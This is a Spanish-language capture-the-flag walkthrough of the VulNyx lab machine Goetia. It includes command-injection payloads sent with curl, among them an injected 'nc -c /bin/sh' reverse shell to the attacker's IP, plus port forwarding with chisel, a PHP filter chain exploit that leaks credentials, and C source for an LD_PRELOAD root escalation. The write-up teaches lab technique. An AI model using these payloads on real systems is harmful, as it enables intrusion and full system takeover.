VulNyx - Goetia

logo

  • Command Injection - RCE
  • PHP Filter Chains
  • Sudo LD_PRELOAD Privilege Escalation

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.20

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.20

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 bd4b59a41cb23af474b57dcf49a3a947 (RSA)
|   256 e9ebb86748f630ece19a27aeb71af905 (ECDSA)
|_  256 0e8018c9371bdf5111eb4986a5e71c1c (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Base64 Decode

HTTP - TCP 80

Si voy al sitio web veo una herramienta para decodificar base64.

http

Con burpsuite intercepto la petición.

burpsuite

Después de varias pruebas encuentro la forma de ejecutar comandos.

ci_id

❯ curl -s -X POST "http://192.168.1.20/index.php" -d "input=;id;a" | grep "textarea" | html2text

Obtengo una shell como usuario apache.

ci_rshell

❯ curl -s -X POST "http://192.168.1.20/index.php" -d "input=;nc -c /bin/sh 192.168.1.18 443;a" | grep "textarea" | html2text

Enumero usuarios del sistema mediante el fichero passwd.

bash-4.2$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ebathory:x:1000:1000:Elizabeth Bathory:/home/ebathory:/bin/bash

Si intento acceder al home de ebathory me dice que no tengo permisos.

bash-4.2$ cd /home/ebathory/
bash: cd: /home/ebathory/: Permission denied

Con ss -ltun obtengo una lista detallada de las conexiones que están a la escucha.

bash-4.2$ ss -ltn

Netid  State      Recv-Q Send-Q      Local Address:Port      Peer Address:Port            
tcp    LISTEN     0      100         127.0.0.1               :25
tcp    LISTEN     0      128         127.0.0.1               :8000
tcp    LISTEN     0      128              [::]               :80                
tcp    LISTEN     0      128              [::]               :22

Lanzo curl para ver información del puerto 8000.

bash-4.2$ curl -I 127.0.0.1:8000
HTTP/1.0 500 Internal Server Error
Date: Mon, 21 Aug 2023 17:24:42 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.1.22
Connection: close
Content-Type: text/html; charset=UTF-8

Me descargo chisel en la máquina víctima para realizar un local port forwarding, en la máquina atacante uso chisel en modo servidor.

❯ ./chisel server -p 9080 --reverse

En la máquina víctima lanzo chisel en modo cliente.

bash-4.2$ ./chisel client 192.168.1.18:9080 R:8000:127.0.0.1:8000

Ahora desde mi máquina puedo ver el puerto interno 8000 de la máquina víctima.

localhost8000

Realizo fuerza bruta de extensiones y encuentro dos archivos.

❯ wfuzz -c -t 200 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/common.txt -z list,php-zip "http://127.0.0.1:8000/FUZZ.FUZ2Z"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://127.0.0.1:8000/FUZZ.FUZ2Z
Total requests: 18852

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                
=====================================================================
                                                                         
000003014:   200        1 L      16 W       331 Ch      "autobackup - zip"         
000008277:   200        0 L      0 W        0 Ch        "hidden - php"

Visito el archivo hidden.php pero no muestra nada.

hiddenphp

Descargo autobackup.zip y lo descomprimo.

❯ unzip autobackup.zip
Archive:  autobackup.zip
  inflating: index.php

El contenido del archivo index.php permite al usuario obtener el valor MD5 de un archivo interno del servidor.

<?php
echo "<h1>MD5 function!</h1>";
echo "Do you want to know the MD5 value of an internal server file? Go ahead...<br><br>";
$result = md5_file($_POST['input']);
echo "<b>File:</b> " . $_POST['input'] . "<br>";
echo "<b>MD5:</b> " . $result;
?>

En este paso me quedé atascado pero gracias a la pista de UnD3sc0n0c1d0 encontré esta web php filter chains. En al misma web existe esta herramienta para automatizar la explotación de la vulnerabilidad. Uso la herramienta apuntando al archivo hidden.php con el parámetro input y encuentro unas credenciales del usuario ebathory que me servirán para conectarme a la máquina por ssh.

❯ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1:8000 --file '/var/www/html/hidden.php' --parameter input
[+] File /var/www/html/hidden.php leak is finished!
b'PD9waHAKZGVmaW5lKCdEQl9OQU1FJywgJ0FuRWxpemFiZXRoYW5EZXZpbFdvcnNoaXBwZXJzUHJheWVyQm9vaycpOwpkZWZpbmUoJ0RCX1VTRVInLCAnZWJhdGhvcnknKTsKZGVmaW5lKCdEQl9QQVNTV09SRCcsICd*****************************nKTsKZGVmaW5lKCdEQl9IT1NUJywgJ2xvY2FsaG9zdCcpOwpkZWZpbmUoJ0RCX0NIQVJTRVQnLCAndXRmOCcpOwo/'
b"<?php\ndefine('DB_NAME', 'AnElizabethanDevilWorshippersPrayerBook');\ndefine('DB_USER', 'ebathory');\ndefine('DB_PASSWORD', 'C*******************u');\ndefine('DB_HOST', 'localhost');\ndefine('DB_CHARSET', 'utf8');\n?"

Una vez dentro de la máquina enumero permisos de sudo.

[ebathory@goetia ~]$ sudo -l
[sudo] password for ebathory: 
Matching Defaults entries for ebathory on goetia:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG
    LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE
    LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User ebathory may run the following commands on goetia:
    (root) SETENV: /opt/services.sh

Archivo services.sh.

[ebathory@goetia ~]$ cat /opt/services.sh
#!/bin/bash

/usr/bin/systemctl --no-pager | wc -l

Lanzo el script para ver que hace.

[ebathory@goetia ~]$ /opt/services.sh 
116

En esta web encuentro este código en C para elevar privilegios.

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

Este código se aprovecha de la función _init() que se ejecuta automáticamente al inicio de un programa. Primero borra la variable de entorno LD_PRELOAD. Después cambia la identidad del proceso para obtener privilegios de root y finalmente ejecuta una shell permitiendo el control completo del sistema.

Para compilar el código sigo las intrucciones que me indica la web.

❯ gcc -fPIC -shared -o priv.so priv.c -nostartfiles
priv.c: In function ‘_init’:
priv.c:7:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    7 |     setgid(0);
      |     ^~~~~~
priv.c:8:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    8 |     setuid(0);
      |     ^~~~~~

Obtengo el root de la siguiente forma.

[ebathory@goetia tmp]$ sudo -u ebathory LD_PRELOAD=/tmp/priv.so /opt/services.sh 
[sudo] password for ebathory: 
bash: fork: No se pudo asignar memoria
[root@goetia tmp]# id
uid=0(root) gid=0(root) grupos=0(root)

Y con esto ya tenemos resuelta la máquina Goetia.

Saludos!